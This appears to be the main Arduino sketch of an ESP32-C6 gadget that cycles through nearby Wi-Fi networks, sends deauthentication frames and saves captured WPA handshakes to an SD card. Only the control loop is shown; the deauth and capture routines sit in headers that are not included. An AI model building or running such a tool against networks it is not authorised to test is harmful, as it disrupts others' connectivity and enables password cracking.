91 lines
2.0 KiB
C++
91 lines
2.0 KiB
C++
/*
|
|
* WiFi Handshake Capture - ESP32-C6 1.47" LCD
|
|
* Automatically scans, deauths, and captures handshakes to SD card.
|
|
* Display: green = not captured, red = captured.
|
|
*/
|
|
|
|
#include "Display_ST7789.h"
|
|
#include "LVGL_Driver.h"
|
|
#include "WiFi_Scanner.h"
|
|
#include "SD_Card.h"
|
|
#include "HandshakeCapture.h"
|
|
|
|
enum CaptureState {
|
|
STATE_SCANNING,
|
|
STATE_CAPTURING,
|
|
STATE_WAITING
|
|
};
|
|
|
|
CaptureState captureState = STATE_SCANNING;
|
|
unsigned long capture_start_time = 0;
|
|
const unsigned long CAPTURE_TIMEOUT_MS = 25000;
|
|
const unsigned long DEAUTH_INTERVAL_MS = 150;
|
|
|
|
void setup() {
|
|
Serial.begin(115200);
|
|
LCD_Init();
|
|
Set_Backlight(100);
|
|
Lvgl_Init();
|
|
|
|
if (!SD_Init()) {
|
|
Ui_SetWifiStatus("SD: no card");
|
|
} else {
|
|
Ui_SetWifiStatus("SD OK");
|
|
}
|
|
|
|
handshakeCaptureInit();
|
|
WiFiScanner_Refresh();
|
|
captureState = STATE_SCANNING;
|
|
}
|
|
|
|
void loop() {
|
|
Timer_Loop();
|
|
handshakeCaptureLoop();
|
|
|
|
switch (captureState) {
|
|
case STATE_SCANNING: {
|
|
int idx = -1;
|
|
for (int i = 0; i < 20; i++) {
|
|
if (networks[i].ssid.isEmpty()) break;
|
|
if (!networks[i].handshake_captured && isCaptureable(i)) {
|
|
idx = i;
|
|
break;
|
|
}
|
|
}
|
|
if (idx >= 0) {
|
|
setTarget(idx);
|
|
captureState = STATE_CAPTURING;
|
|
capture_start_time = millis();
|
|
startCapture(true);
|
|
Ui_SetWifiStatus("Capturing...");
|
|
} else {
|
|
Ui_SetWifiStatus("Rescan");
|
|
WiFiScanner_Refresh();
|
|
delay(500);
|
|
}
|
|
break;
|
|
}
|
|
|
|
case STATE_CAPTURING: {
|
|
int idx = getCurrentTargetIndex();
|
|
if (isHandshakeCaptured(idx)) {
|
|
Ui_SetWifiStatus("Got handshake");
|
|
stopCapture();
|
|
captureState = STATE_SCANNING;
|
|
delay(2000);
|
|
} else if (idx >= 0 && millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
|
|
Ui_SetWifiStatus("Timeout");
|
|
stopCapture();
|
|
captureState = STATE_SCANNING;
|
|
delay(2000);
|
|
}
|
|
break;
|
|
}
|
|
|
|
case STATE_WAITING:
|
|
break;
|
|
}
|
|
|
|
delay(16);
|
|
}
|